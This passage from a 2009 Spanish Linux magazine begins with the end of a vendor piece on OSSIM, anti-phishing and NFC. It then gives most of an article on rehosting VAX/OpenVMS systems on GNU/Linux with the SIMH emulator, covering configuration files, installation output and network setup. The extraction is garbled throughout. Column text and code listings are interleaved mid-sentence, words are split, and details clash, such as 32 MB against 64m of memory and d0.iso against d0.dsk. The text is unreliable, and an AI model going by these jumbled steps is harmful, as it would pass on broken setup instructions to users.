creado, siendo por tanto escalable de manera garantizada. • Poder delegar la administración, clasificar la información y automatizar respuestas de forma rápida y fácil. • Garantizar la inversión, pudiendo integrar distintos sistemas o herramientas ya existentes o futuras sin grandes restricciones. • No tener que pagar licencias o servicios especiales periódicos o no previstos para mantener la protección de los activos soluciones para empresas Hispafuentes: una alternativa libre en la seguridad • Ausencia de costes ocultos y formaciones especificas. ¿Existe alguna herramienta de seguridad que de respuesta a estas inquietudes ? Todo eso y más ofrece OSSIM (Open Source Security Information Management). OSSIM Resuelve las problemáticas más habituales de los Responsables de Seguridad. Agrupa más de 15 programas de código abierto proporcionando todos los niveles tecnológicos necesarios para cubrir el ciclo completo de la gestión de seguridad y supervisión de seguridad (SOC) y por lo tanto, da respuesta global a toda la problemática de gestión de seguridad que puede plantearse en una Organización. Sistema de respuesta rápida antiphising La respuesta de las entidades ante los intentos de suplantación de sus servidores para cometer fraudes (phising), habitualmente es reactiva, esto quiere decir que la entidad víctima del phising tiene que ser consciente en primer lugar de que se están realizando un intento de ataque para poder poner en marcha posteriormente los Figura 6. Ejemplos de servicios de NFC planes de contingencia que estén aprobados para cada caso. Generalmente esto significa intervención humana, y por consiguiente, pudiera darse el caso de que cuando se puedan poner en marcha las medidas correctivas, múltiples usuarios hayan podido ser víctimas de algún tipo de fraude. El departamento de Seguridad Informática de Hispafuentes está desarrollando un sistema de detección temprana y automatizada de intentos de phising. Para ello, se ha evaluado la problemática del phising desde distintas perspectivas y se han aplicado múltiples soluciones complementarias ( mailbox honeypots, sistemas de listas negras, técnicas de inteligencia artificial ) que permitan a las entidades mediante módulos adaptables a cada portal y a cada necesidad, por un lado, la respuesta prácticamente inmediata ante un posible intento de phising, y por otro lado, alertar inmediatamente a los usuarios que ya hayan sido víctimas. RFID en el Móvil La convergencia de múltiples tecnologías en el dispositivo móvil es una muestra más del avance tecnológico hacia la ubicuidad e inteligencia ambiental. NFC, Near Field Communication o tecnología de campo cercano o proximidad, es una muestra de la integración de la tecnología inalámbrica con tarjetas inteligentes o smart card que dotan al móvil de todos los servicios de éstas con la conveniencia y simplicidad del uso del teléfono móvil. De esta forma pueden desarrollarse numerosos servicios en el móvil, con un nivel de seguridad elevado como por ejemplo el pago con el teléfono móvil. Los servicios nuevos que surgirán serán los de proximidad a los que el usuario puede acceder tan sólo acercando su móvil a un terminal que ofrezca el servicio. Ejemplos de servicios están mostrados en la Figura 6. Figura 5. Pishing www.lpmagazine.org 47 soluciones para empresas Rehosting de sistemas VAX/OpenVMS Rehosting de sistemas VAX/OpenVMS en sistemas GNU/Linux José B. Alós Alquézar [email protected] Uno de los problemas más frecuentes que se presentan en determinados proyectos de diseño de sistemas y desarrollo de software a largo plazo es la obsolescencia del mismo y especialmente, el hardware utilizado. 48 E ste caso es particularmente dramático en determinados sectores de la industria como el naval y aeroespacial, ya que el plazo de renovación de los equipos informáticos es ostensiblemente inferior a la duración del proyecto afectado, superior en muchos casos a diez años. Imaginemos por un momento un proyecto de desarrollo de software embebido que requiere técnicas RT (Real-Time) iniciado a fines de la década de los ochenta, utilizando como plataforma de desarrollo sistemas VAX de Digital Equipment Corporation bajo sistema operativo OpenVMS, caso tomado de la industria aeronáutica, en la que el cambio o actualización de cualquier componente, está sujeto a severas restricciones. ¿Qué ocurre cuando en estos momentos se avería un componente como un disco duro y no disponemos de repuestos fiables, salvo en el mercado de ocasión? La solución para ello es sencilla: basta aprovechar la potencia de los equipos actuales para realizar una migración de esta plataforma VAX/OpenVMS a un sistema que permita su emulación y este va a ser el objetivo del presente artículo. Linux+ 5/2009 Los sistemas VAX/VMS. Un poco de historia Originariamente desarrollados en la década de los 70 por Digital Equipment Corporation, los sistemas VAX constituyen un ejemplo de plataforma ISA basada en una arquitectura CICS de 32 bits, concebida originalmente para sustituir los antiguos equipos DEC PDP, incorporando capacidades de direccionamiento virtual, así como un juego de instrucciones ortogonal. Estas plataformas alcanzaron su máximo esplendor en la década de los ochenta como paradigma de la En este artículo aprenderás • Instalación, configuración y administración de servidores VAX/OpenVMS en sistemas GNU/Linux, • Aspectos básicos de configuración y conectividad TCP-IP para sistemas emulados, • Arquitectura básica y posibilidades de los sistemas VAX/OpenVMS, • Instalación de productos adicionales VAX/OpenVMS emulados por sistemas GNU/Linux. soluciones para empresas Rehosting de sistemas VAX/OpenVMS bre de 1858, lo que supone que al utilizar OpenVMS 64 bits para representar una unidad de tiempo de 100 ns, el famoso efecto 2000 de estos sistemas acontecerá el 31 de julio de 3108 Soluciones existentes en el mercado Figura 1. VAXstation 4000 arquitectura CICS ISA hasta su declive durante la década posterior. El sistema VMS, acrónimo de Virtual Memory System, previamente conocido como VAX-11/VMS, VAX/VMS es un sistema operativo soportado por plataformas Digital Equipment Corporation VAX y Alpha, compañía que a través de los años, ha sido adquirida sucesivamente por Compaq y Hewlett-Packard, es un sistema de proceso multiusuario de tiempo compartido de alto nivel diseñado originalmente para admitir capacidades de procesado batch, sistemas de tiempo real y proceso de transacciones, que ofrece capacidades de Alta Disponibilidad a través de soluciones de cluster o incluso, la posibilidad de ser distribuido en varios servidores. Estas capacidades, han hecho que el tándem VAX/OpenVMS fuera utilizado en la programación de sistemas empotrados de tiempo real, debido a su elevada fiabilidad. Los primeros pasos arrancan en 1975 de la mano de DEC con el proyecto Star, cuya finalidad era lograr una extensión de una memoria virtual de 32 bits para los venerables PDP-11 de la mano de Gordon Bell, Roger Gourd y Dave Cutler. Estos trabajos culminaron en la plataforma VAX 11/780 y el sistema operativo VAX-11/ VMS, cuya denominación ha ido cambiando a lo largo de los años. Como curiosidad histórica, si en los sistemas UNIX el tiempo comienza en 1970, el inicio de la era VMS empieza el 17 de noviem- Dentro del abanico de alternativas existentes en el momento actual para extender la vida de aplicaciones desarrolladas en los venerables entornos VAX, se va a presentar únicamente dos soluciones, una propietaria y por consiguiente, de elevado coste, confrontada con una solución OpenSource particularizada a sistemas Unix en sus diferentes versiones. Estas dos soluciones presentan las siguientes ventajas respecto a la utilización de los entornos originarios: • Aceleración del sistema y el acceso a recursos VAX/OpenVMS, • Incremento radical de la capacidad de almacenamiento, • Disponibilidad de tecnologías RAID para sistemas VAX/OpenVMS, • Posibilidad de utilizar herramientas de backup actualizadas, • Facilitar las actualizaciones de los sistemas operativos y el software VAX/OpenVMS. Figura 2 Arquitecturas comerciales de emulación de sistemas VAX/OpenVMS quizás el aspecto más ventajoso y que no presenta la solución OpenSource es la posibilidad de mapeo de múltiples puertos RS-232 de servidores VAX a una tarjeta multipuerto instalada en un ordenador personal. Esta última posibilidad es especialmente importante en el desarrollo de sistemas embebidos, al permitir reemplazar servidores de terminales DECServer 200/700, también afectados por la obsolescencia natural de estos equipos, uno de cuyos exponentes, el servidor VAXStation 4000/90 se muestra en la Figura 3. Nuestra propuesta multiplataforma es SIMH, emulador multiplataforma que funciona en entornos MS Windows y sistemas Unix como OpenBSD, NetBSD, Solaris y naturalmente, GNU/Linux y que se va a presentar en sucesivos apartados. CHARON VAX Emulator es una solución que El emulador SIMH permite la emulación de sistemas VAX, Alpha The Computer History Simulator Project, o PDP en entornos IA32 bajo sistema operativo también conocido bajo el acrónimo SIMH cuMS Windows según el esquema de la Figura 2; yo código fuente se halla disponible en http:// Lo que deberías saber • Conocimientos de sistemas Unix a nivel de desarrollador, • Rudimentos básicos de sistemas VAX/ OpenVMS, • Compilación de software mediante GNU Autoconf, • Configuración de interfaces de red TCP-IP. Figura 3. Interior de una estación VAXStation 4000/90 www.lpmagazine.org 49 soluciones para empresas Rehosting de sistemas VAX/OpenVMS simh.trailing-edge.com/, es un emulador ba- Tabla 1. Sistemas emulados por SIMH PDP-1/PDP-4/PDP-7/PDP-11/PDP-15/VAX sado en MIMIC, desarrollado en la década de Digital Equipment Corporation los 60 y cuya primera versión fue liberada en Data General Nova / Eclipse 1993 al objeto de emular sistemas y hardware GRI Corporation GRI-909 antiguo como los que se hallan incluidos en IBM 1401/1620/1130/7090/7094/System/3 la Tabla 1 a título de ejemplo. Interdata 16/32 bit series Así como las menos conocidas de Ro2116/2100/21MX yal-Mcbee y Scientific Data Systems, SIMH Hewlett-Packard Honeywell H316 and H516 también dispone de una colección de utilidades para la manipulación de ficheros en los MITS Altair 8800 / Intel 8080 formatos propios de algunas arquitecturas Listado 1. Generando las aplicaciones necesarias como DEC PDP. La versión SIMH 3.8.0 fue la última liberada el 15 de junio de 2008. El sistema operativo OpenVMS Antes de continuar con el artículo, es preciso una pequeña digresión sobre el software a emular en plataformas VAX/OpenVMS que, evidentemente, es propietario. No obstante en el momento actual, HP Compaq proporciona a los VAX/OpenVMS Uno de los grandes problemas existentes en la industria es el mantenimiento de sistemas informáticos debido a la obsolescencia de componentes. Quizás el caso más paradigmático sucede en la industria aeronáutica, en la que, los proyectos a largo plazo de un mínimo de quince años tropiezan con el handicap de que los sistemas utilizados para el desarrollo de software empotrado no se pueden cambiar con la frecuencia que sería deseable. Hace quince años, el desarrollo de sistemas de tiempo real (RT-Systems) estaba adscrito a las plataformas VAX/ OpenVMS. Actualmente, existen una gran cantidad de desarrollos que deben ser mantenidos como sucede en la industria aeronáutica, en la que los cambios de componentes críticos, de sistemas de vuelo están, como comprenderá el lector, sujetos a severas restricciones. Una perspectiva a tener en cuenta es que el grupo de usuarios de sistemas DEC, conocido como DECUS, nació en 1961 aunque el verdadero inicio de la época VMS arranca con el proyecto Star en 1975, alcanzando su máximo esplendor en la década de los ochenta de la mano de la industria, entidades gubernamentales y financieras, en las que a día de hoy y a pesar de la obsolescencia del hardware, la plataforma VAX/OpenVMS sigue teniendo un nicho de mercado. 50 persephone:~$ mkdir simh persephone:~$ cd simh persephone:~$ unzip sim-3.8.0.zip persephone:~simh$ mkdir BIN persephone:~$ make USE_NETWORK=1 BIN/vax Listado 2. Fichero de configuración inicial vax.ini ; ; Load CPU microcode load -r /opt/vax/data/ka655x.bin ; ; Attach non-volatile RAM to a file attach nvr /opt/vax/data/nvram.bin ; ; This virtual machine has 64M memory set cpu 64m ; ; Define disk drive types. RA92 is largest-supported VAX drive. set rq0 ra92 set rq1 ra92 set rq2 ra92 set rq3 cdrom ; ; Attach defined drives to local files attach rq0 /opt/vax/data/d0.dsk attach rq1 /opt/vax/data/d1.dsk attach rq2 /opt/vax/data/d2.dsk ; ; Attach the CD-ROM to its file (read-only) attach -r rq3 /opt/vax/data/cd.iso ; ; Disable unused devices. It's also possible to disable individual devices, ; using a construction like "set rq2 disable" if desired. ; set rl disable set ts disable ; ; Attach Ethernet to a network interface set xq mac=00-11-95-5c-f5-b4 attach xq eth0 ; ; Now start the emulator boot cpu Linux+ 5/2009 soluciones para empresas Rehosting de sistemas VAX/OpenVMS TCP-IP con el entorno VAX/OpenVMS • Instalación si no existe, del entorno de deemulado mediante SIMH. Aun cuando exissarrollo GNU/Linux para C/C++, ten paquetes binarios disponibles para arqui- • Descarga e instalación de la librería libtecturas Intel, consideramos de mayor interés pcap, realizar el proceso de construcción a partir • Descarga del código fuente SIMH 3.8.0, del código fuente de todo el sistema de emudisponible en http://simh.trailing-edge. lación: org. Listado 3. Arranque del proceso de instalación OpenVMS en el sistema emulado root@persephone:~# /opt/vax/bin/vax Figura 4. Arranque del sistema VAX/OpenVMS emulado desarrolladores que lo soliciten unas licencias para uso no comercial disponibles en el portal OpenVMS Hobbyist http://www.open vmshobbyist.com/news.php, destinadas específicamente a propósitos de formación o investigación: • Registrarse en Emcompass US, en la URL https://www.encompassus.org/, • Solicitar el kit OpenVMS VAX Hobbyist Kit 3.0, • Facultativamente, adquirir las licencias necesarias o acogerse al proyecto Compaq OpenVMS Hobbyist. Por este motivo, la realización de la plataforma exige la obtención de una copia del sistema operativo OpenVMS 7.3 para sistemas VAX, así como las licencias PAK necesarias. Estas consideraciones serán de aplicación para el resto de software básico cubierto por las Layered Product Licenses que se pretenda migrar, como compiladores en BLISS, C, PL/ 1, Fortan, Cobol, intérpretes y otras utilidades propietarias. Construcción de la plataforma OpenVMS/VAX mediante SIMH En primer lugar, es preciso poseer un sistema GNU/Linux con el soporte completo para desarrollo C/C++ junto con la librería libpcap, que nos permitirá establecer una conexión VAX simulator V3.7-3 NVR: buffering file in memory RQ: unit is read only Eth: opened eth0 KA655-B V5.3, VMB 2.7 Performing normal system tests. 40..39..38..37..36..35..34..33..32..31..30..29..28..27..26..25.. 24..23..22..21..20..19..18..17..16..15..14..13..12..11..10..09.. 08..07..06..05..04..03.. Tests completed. >>>b dua0 (BOOT/R5:0 DUA0 Available devices for this installation are: Available device DUA0: device type RA92 Available device DUA1: device type RA92 Available device DUA2: device type RA92 Available device DUA3: device type RRD40 Available device DYA0: device type RX02 Available device DYA1: device type RX02 Available device MUA0: device type TK50 Available device MUA1: device type TK50 Available device MUA2: device type TK50 Available device MUA3: device type TK50 Listado 4. Los productos instalados en el sistema $ product show product * ----------------------------------- ----------- -----------PRODUCT KIT TYPE STATE ----------------------------------- ----------- -----------DEC VAXVMS DECNET_PHASE_IV V7.3 Full LP Installed DEC VAXVMS TCPIP V5.1-15 Full LP Installed DEC VAXVMS VMS V7.3 Transition Installed ----------------------------------- ----------- -----------3 items found Figura 5. Arranque de la instalación del SO OpenVMS con el dispositivo DUA3 www.lpmagazine.org 51 soluciones para empresas Rehosting de sistemas VAX/OpenVMS La librería PCAP es necesaria si se desea habilitar el acceso Ethernet al sistema emulado Opcionalmente, resulta interesante compilar el kernel Linux con el soporte para dispositivos virtuales TUN/TAP activado, aunque será este un punto en el que volveremos a insistir al finalizar el proceso de instalación y puesta en funcionamiento. Procedimiento de instalación Una vez obtenido el código fuente es preciso proceder a su desempaquetado y posterior compilación. En el caso que nos ocupa, puesto que únicamente estamos interesados en una plataforma VAX, generaremos únicamente las aplicaciones estrictamente necesarias para esta plataforma mediante los comandos presentados en el Listado 1. Una vez concluida esta operación podemos generar manualmente los directorios: root@persephone:~# mkdir -p /opt/vax/bin Listado 5. Instalación de componentes adicionales OpenVMS $ mount/override=id dua3: %MOUNT-I-WRITELOCK, volume is write locked %MOUNT-I-MOUNTED, VAXVMS073 mounted on _ARES$DUA3: $ dir dua3:[0,0] Directory DUA3:[000,000] 000000.DIR;1 BACKUP.SYS;1 BADBLK.SYS;1 BADLOG.SYS;1 BITMAP.SYS;1 CONTIN.SYS;1 CORIMG.SYS;1 DCE_ VAX030.DIR;1 DECNET_PHASE_IV_VAX073.DIR;1 DECNET_PLUS_VAX073.DIR;1 DECW073.C;1 DECW073.E;1 DECW073.D;1 DOCUMENTATION.DIR;1 DWMOTIF_VAX125.DIR;1 DECW073.F;1 DWMOTIF_ VAX126.DIR;1 HELP_MESSAGE.DIR;1 INDEXF.SYS;1 ISL_SCRIPT.ESS;1 KERBEROS_ KITS.DIR;1 SECURITY.SYS;1 SYS0.DIR;1 SYS1.DIR;1 TCPIP_VAX051.DIR;1 VAX073.DIR;1 VMS073.A;1 VMS073.B;1 VMS073.C;1 VMS073.D;1 VMS073.E;1 VMS073.F;1 VAX010.DIR;1 root@persephone:~# mkdir /opt/vax/data VMSI18N_VAX073.DIR;1 y proceder a copiar el fichero binario vax junto al fichero de arranque PROM KA655 a su ubicación definitiva: Total of 35 files. VOLSET.SYS;1 Listado 6. Instalación del soporte TCP-IP en sistemas OpenVMS root@persephone:~# cp BIN/vax /opt/ vax/bin $ product root@persephone:~# cp VAX/ka655.bin _Operation (INSTALL, SHOW, ...): install /opt/vax/data _Product name (* to show list): * The following product has been selected: DEC VAXVMS TCPIP V5.1-15 El programa OpenVMS Hobbyist A pesar de tratarse de un sistema propietario, el programa OpenVMS Hobbyist localizado en http://www.openvms hobbyist.org/ e iniciado en 1997 proporciona tanto el sistema operativo como una gran variedad de productos asociados denominados layered products de forma gratuita para uso no comercial. Este hecho ha permitido a otras compañías presentar sus aplicaciones bajo los mismas disposiciones de uso, como el Process Software y MVP Systems. El tiempo requerido actualmente para obtener una licencia hobbyist es inferior a una semana, y existe la posibilidad de obtener el soporte físico en CD-ROM por 30 USD. Es igualmente posible obtener la documentación deseada sobre la familia OpenVMS en http://www. openvms.org/ así como directamente de http://www.hp.com. 52 Layered Product Do you want to continue? [YES] Configuration phase starting ... You will be asked to choose options, if any, for each selected product and for any products that may be installed to satisfy software dependency requirements. DEC VAXVMS TCPIP V5.1-15: Compaq TCP/IP Services for OpenVMS. (c) Compaq Computer Corporation 2000. All Rights Reserved. Listado 7. La interfaz eth0 root@persephone:~# ifconfig eth1 eth1 Link encap:Ethernet HWaddr 00:11:95:5c:f5:b4 inet6 addr: fe80::211:95ff:fe5c:f5b4/64 Scope:Link UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:2 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:168 (168.0 B) Interrupt:11 Base address:0xb800 Linux+ 5/2009 soluciones para empresas Rehosting de sistemas VAX/OpenVMS Una vez realizado este paso, es preciso establecer un fichero de configuración inicial vax.ini en el directorio /opt/vax/data, en el que se establezcan las características básicas de configuración del sistema VAX/OpenVMS a emular y cuyo contenido está presentado en el Listado 2, así como establecer un enlace simbólico del fichero al directorio /opt/vax/ bin, a fin de que el binario vax pueda hacer uso de éste: root@persephone:~# ln -sf /opt/vax/ data/vax.ini /opt/vax/bin/vax.ini Shutdown Compaq TCP/IP Services for OpenVMS - Startup Compaq TCP/IP Services for OpenVMS En este fichero de configuración, se establece un sistema VAX con una memoria RAM de 32 MB, así como tres discos duros RA92 presentes en los dispositivos rq0, rq1 y rq2, respectivamente, así como una unidad de CD-ROM virtual en el dispositivo rq3 bajo el fichero /opt/vax/data/cd.iso, destinada a realizar la instalación del sistema operativo OpenVMS 7.3, así como la dirección Ethernet de un dispositivo NIC libre para proporcionar la conexión TCP-IP al sistema emulado. Una vez realizados estos pasos, es posible proceder al arranque del emulador VAX/ OpenVMS mediante el ejecutable: - Run tests - Configure options 1 - 4 root@persephone:~# /opt/vax/bin/vax Figura 6. Definición de la interfaz de red Ethernet en OpenVMS Listado 8. EL menú interactivo que utilizaremos para la configuración de la interfaz de red Compaq TCP/IP Services for OpenVMS Configuration Menu Configuration options: 1 - Core environment 2 - Client components 3 - Server components 4 - Optional components 5 - 6 7 A [E] - Exit configuration procedure Enter configuration option: 1 Listado 9. Reconfiguración del kernel OpenVMS 7.3 @SYS$UPDATE:AUTOGEN GETDATA REBOOT CHECK_FEEDBACK obteniéndose en pantalla la salida de la Figura 4. Con ello, es posible iniciar ya la instalación del sistema operativo OpenVMS. En nuestro caso, hemos escogido la versión OpenVMS 7.3 de cara a ejemplificar completamente el proceso a seguir. $ @SYS$UPDATE:AUTOGEN GETDATA REBOOT CHECK_FEEDBACK Instalación del sistema operativo OpenVMS 7.3 %AUTOGEN-I-NEWFILE, Una vez obtenida una copia del sistema operativo OpenVMS 7.3 en CD-ROM, es necesario transferir ésta al fichero cd.iso en el directorio /opt/vax/data, de conformidad a lo estipulado en el apartado precedente mediante el siguiente comando: %AUTOGEN-I-BEGIN, GETDATA phase is beginning. Previous contents of SYS$SYSTEM:CLU$PARAMS.DAT have been copied to SYS$SYSTEM:CLU$PARAMS.OLD. You may wish to purge SYS$SYSTEM:CLU$PARAMS.OLD. %AUTOGEN-I-NEWFILE, A new version of SYS$SYSTEM:PARAMS.DAT root@persephone:~# dd if=/dev/cdrom has been created. of=/opt/vax/data/cd.iso You may wish to purge this file. %AUTOGEN-I-END, GETDATA phase has successfully completed. %AUTOGEN-I-BEGIN, GENPARAMS phase is beginning. %AUTOGEN-I-NEWFILE, A new version of SYS$MANAGER: VMSIMAGES.DAT has been created. You may wish to purge this file. www.lpmagazine.org Además, debe procederse a crear un fichero que actúe como disco del sistema emulado VAX/OpenVMS de forma análoga al caso anterior, que corresponderá al dispositivo rq0 del Listado 2, y que aparece como el fichero /opt/vax/data/d0.dsk con el tamaño deseado; en este caso 1GB: 53 soluciones para empresas Rehosting de sistemas VAX/OpenVMS root@persephone:~# dd if=/dev/zero of=/opt/vax/data/d0.iso count=1024k bs=1k $ product Operation (INSTALL, SHOW, ...): install Téngase en cuenta que en aquellos tiempos, un disco duro RRD92 tenía un tamaño de 400 MB; todo un hito para la época. Del mismo modo, si se desea crear el dispositivo disco duro rq1, repetiríamos el proceso anterior. Finalmente, sólo resta proceder a ejecutar, como superusuario el binario: The following product has been selected: root@persephone:~# /opt/vax/bin/vax Configuration phase starting ... De este modo, el dispositivo rq3 del emulador VAX/OpenVMS implementa el CD-ROM de instalación del sistema operativo, lo cual se traduce a nivel de firmware en el sistema emulado en el dispositivo DUA3, a utilizar en el arranque de la instalación, como se muestra en la Figura 5. En nuestro caso, deberemos utilizar como disco VAX el dispositivo DUA0 que actuará en lo sucesivo como disco de arranque de nuestra plataforma emulada VAX/ OpenVMS y seguir detalladamente los pasos que el asistente de instalación interactiva OpenVMS nos solicite. Una vez que OpenVMS 7.3 haya sido instalado en su totalidad, es necesario reiniciar el emulador SIMH arrancando el sistema operativo desde el disco emulado DUA0 en lugar del CD-ROM DUA3, ejecutando los comandos recogidos en el Listado 3. Se recomienda en este punto no utilizar el soporte SMP en el kernel de Linux para evitar problemas. Una vez arrancado el sistema OpenVMS 7.3, es el momento de instalar las licencias, así como productos adicionales presentes en OpenVMS Layered Components utilizando la imagen del CD-ROM presente en el fichero cd.iso. Una vez la instalación del sistema operativo OpenVMS 7.3 ha concluido, los productos presentados en el Listado 4 aparecen ya instalados en el sistema. Tras lo cual, podemos proceder a la instalación de los productos adicionales que se consideren necesarios. Concretamente, en nuestro caso, nos centraremos en la incorporación de comunicaciones TCP-IP, obviando el soporte de los protocolos DECnet, característicos de esta arquitectura. You will be asked to choose options, if any, Instalación de componentes adicionales VAX/OpenVMS A continuación, utilizando el fichero imagen cd.iso que contiene el sistema operativo OpenVMS 7.3, procedemos a la instalación de los componentes adicionales necesarios para el soporte Ethernet y TCP-IP. Una vez arrancado 54 Listado 10. Instalación del soporte DEC OS/F Motif en sistemas OpenVMS Product name (* to show list): * DEC VAXVMS DWMOTIF V1.2-6 Layered Product Do you want to continue? [YES] for each selected product and for any products that may be installed to satisfy software dependency requirements. DEC VAXVMS DWMOTIF V1.2-6: DECwindows Motif � 1988, 2000 Compaq Computer Corporation Compaq Computer Corporation This product uses the PAK: DW-MOTIF Checking values of system parameters... OK Do you want the defaults for all options? [YES] YES If a Local Language Variant is installed refer to the Install Guide. Do you want to continue? [YES] YES Do you want to review the options? [NO] The following product has been installed: DEC VAXVMS DWMOTIF V1.2-6 Layered Product Finally, we get the following messages to indicate the installation is complete. DEC VAXVMS DWMOTIF V1.2-6: DECwindows Motif System reboot will be required following upgrade of language variants. Installation Verification Procedure can be run after reboot. Listado 11. Creando una interfaz de red integrada tap0 root@persephone:~# ifconfig tap0 tap0 Link encap:Ethernet HWaddr 4E:38:D6:F8:83:0F BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:500 RX bytes:0 (0.0 b) root@persephone:~# Linux+ 5/2009 TX bytes:0 (0.0 b) soluciones para empresas Rehosting de sistemas VAX/OpenVMS Acrónimos y abreviaturas • CICS: Complex Instruction Set Computer • DCL: Digital Command Language • DEC: Digital Equipment Corporation • DECU: Digital Equipment Corporation Users' Society • IA32: Intel Architecture 32-bit • ISA: Instruction Set Architecture • NIC: Network Interface Card • RAM: Random Access Memory • VAX: Virtual Address Extension • VMS: Virtual Memory System • XDM: X11 Display Manager el emulador, ejecutar los comandos OpenVMS que figuran en el Listado 5. A fin de proceder a instalar el soporte TCP-IP, debe accederse al directorio VMS Figura 7. Conexión TCP-IP al sistema VAX/OpenVMS desde sistema anfitrión denominado DUA3:[TCPIP_VAX051.KIT] en el que aparece el siguiente producto: o, alternativamente, ya que UCX es el prede- rámetros de configuración del kernel Opencesor de la implementación TCP-IP en estos VMS. $ dir dua3:[tcpip_vax051.kit] sistemas: De este modo, obtenemos como resultado DEC-VAXVMS-TCPIP-V0501-15-1.PCSI;1 un sistema VAX/OpenVMS completamente Total of 1 file. $@sys$manager:ucx$config funcional en el cual se ejecuta OpenVMS 7.3 con soporte TCP-IP, lo que permite el acceso Y proceder a la instalación del mismo mediante que produce un menú interactivo que utiliza- remoto a éste tal y como se muestra en la la utilidad DCL product tal y como se muestra remos para la configuración de la interfaz de Figura 7. en el Listado 6. red (Listado 8). De este modo, aparece lo que Mientras que el acceso desde otro equipo, Una vez concluidos estos pasos, la plata- presenta la Figura 6. se ve como aparece en la Figura 8, en el que se forma VAX/OpenVMS está emulada en nuUna vez realizada esta actividad, la aprecia otro detalle de la conexión desde un estro sistema GNU/Linux y se encuentra lista opción (6) de dicho menú permite arrancar equipo físicamente ajeno al del sistema emupara su utilización ulterior. los servicios TCP-IP asociados al dominio lado. emulado VAX/OpenVMS. Probablemente, Como se puede comprobar, hemos solvenComunicaciones TCP-IP resulta necesario modificar alguno de los pa- tado uno de los problemas más críticos que pre- con el sistema VAX/OpenVMS Tal y como se ha explicado anteriormente, el acceso a una comunicación TCP-IP con el sistema emulado descansa sobre dos premisas básicas como son la compilación de SIMH con soporte Ethernet gracias a la librería PCAP así como la existencia de un interfaz de red Ethernet libre en nuestro sistema GNU/ Linux. En nuestro caso particular, esta interfaz es eth0 tal y como se muestra en el Listado 7. Esta interfaz de red no deberá estar conectada físicamente a ningún concentrador o conmutador, ya que su utilización será interna al propio sistema anfitrión GNU/Linux. Una vez comprobada la disponibilidad de esta interfaz, es el momento de proceder a la configuración TCP-IP de la plataforma VAX/ OpenVMS mediante los siguientes comandos DCL OpenVMS en el sistema emulado: $@sys$manager:tcpip$config Figura 8. Conexión TCP-IP al sistema VAX/OpenVMS desde otro sistema GNU/Linux www.lpmagazine.org 55 soluciones para empresas Rehosting de sistemas VAX/OpenVMS Después del reinicio, la plataforma emulada VAX/OpenVMS estará ya lista para la utilización del servicio XDM que posibilitará la apertura y trabajo con clientes X11, lo que nos proporciona finalmente un sistema VAX/ OpenVMS en un sistema anfitrión GNU/Linux con plenas funcionalidades para la migración del software hospedado en plataformas VAX a arquitecturas IA32. Más allá: Interfaces TUN/TAP Frecuentemente, no se poseen tarjetas de red adicionales, pero los sistemas GNU/Linux proporcionan soporte TUN/TAP para los niveles TCP/IP 2 y 3, respectivamente. De este Figura 9. Interconexión entre los sistemas anfitrión (GNU/Linux) y emulado OpenVMS modo, TUN permite obtener un NIC virtual sentan las plataformas VAX y es que los fallos lización de la secuencia de comandos del Lis- con una dirección Ethernet asociada distinta en cualquier componente no están afectados por tado 9. a la dirección física de la tarjeta en la que se la obsolescencia, al ser emulados físicamente Y posteriormente, proceder a la instalación sustenta: a través de los dispositivos e interfaces presen- del paquete OS/F Motif para OpenVMS pretes en un ordenador personal actual. sente en el CD-ROM de instalación volcado • Comprobar la existencia del módulo TUN/ en nuestra imagen cd.iso. Para ello, la seTAP, Instalación cuencia de pasos a seguir será: • Instalar el software tunctl(1) disponible en DEC OS/F Motif http://tunctl.sourceforge.net, Antes de proceder a instalar DEC OS/F Mo- • Montar el CD-ROM en el sistema VAX/ • Asegurarse que el kernel Linux posee el tif, es preciso reconfigurar el kernel del sisOpenVMS mediante el comando: soporte TUN/TAP instalado como mótema OpenVMS, ya que en concreto, el pará- $ set default DUA3:[DWMOTIF_ dulo, lo cual puede verse mediante el cometro PQL_MBYTLM debe ser como mínimo VAX126.KIT] mando: de 48000: • Proceder a la instalación de DEC OS/F root@persephone:~# lsmod | grep tun Motif for OpenVMS mediante los coman- tun 13444 0 - SYSGEN parameter PQL_MBYTLM is dos recogidos en el Listado 10. • Proceder acto seguido a levantar con la 40000, should be at least 48000 utilidad tunctl(8) la interfaz TAP que • Finalmente, reiniciar el sistema VAX/OpenVMS para hacer que los cambios tengan simulará nuestra tarjeta de red para el sisEl procedimiento más adecuado para la reefecto: tema emulado VAX/OpenVMS: configuración del kernel OpenVMS es la uti- $ shutdown root@persephone:~# tunctl Set 'tap0' persistent and owned by uid 0 set xq mac=4e-38-d6-f8-83-0f • Con ello, se crea una interfaz de red integrada tap0, con una dirección Ethernet específica e independiente de las tarjetas físicas del sistema tal y como se aprecia en el Listado 11. • Editar el fichero vax.ini del Listado 2, modificando la entrada correspondiente, de tal forma que se introduzca la dirección IP del dispositivo tap0 recién creado: ; Attach Ethernet to a network interface Figura 10. Sistema OpenVMS emulado por una distribución GNU/Linux live 56 Linux+ 5/2009 Es muy importante tener en cuenta que NO SE DEBE añadir una dirección de red a esta interfaz, ya que esta labor la realiza exclusivamente el sistema emulado VAX/OpenVMS y de forma totalmente transparente al sistema GNU/Linux que actúa como anfitrión. De este modo se logra un bridge entre el nodo GNU/Linux y el nodo emulado VAX/ OpenVMS tal y como se muestra en la Figura 9. soluciones para empresas Rehosting de sistemas VAX/OpenVMS Sobre el autor José B. Alós es administrador de sistemas especializado en SunOS 5.x/HP-UX/AIX desde 1999 de la mano de EDS, desarrollando su trabajo en Telefónica de España, S. A. U. y lleva trabajando con sistemas GNU/ Linux desde los tiempos del núcleo 1.2.13. Actualmente desempeña su actividad profesional en la industria aeronáutica dentro del ámbito de sistemas y software embarcados en EADS CASA. Ha sido profesor de la Universidad de Zaragoza. Está especializado en sistemas de Alta Disponibilidad y posee un doctorado en Ingeniería Nuclear. Figura 11. OpenVMS Community Portal Conclusiones finales Para quien piense que OpenVMS es un sistema muerto, recordar que la primera versión VMS 1.0 apareció en 1978 y el soporte OpenVMS a plataformas Intel Itanium 64 bits está disponible por HP Compaq desde 2004 ya que en estos momentos, no se vende hardware VAX. Esta solución admite más sofisticaciones, incluso ejecutar un sistema OpenVMS dentro de un sistema GNU/ Linux en un CD-ROM utilizando distribuciones 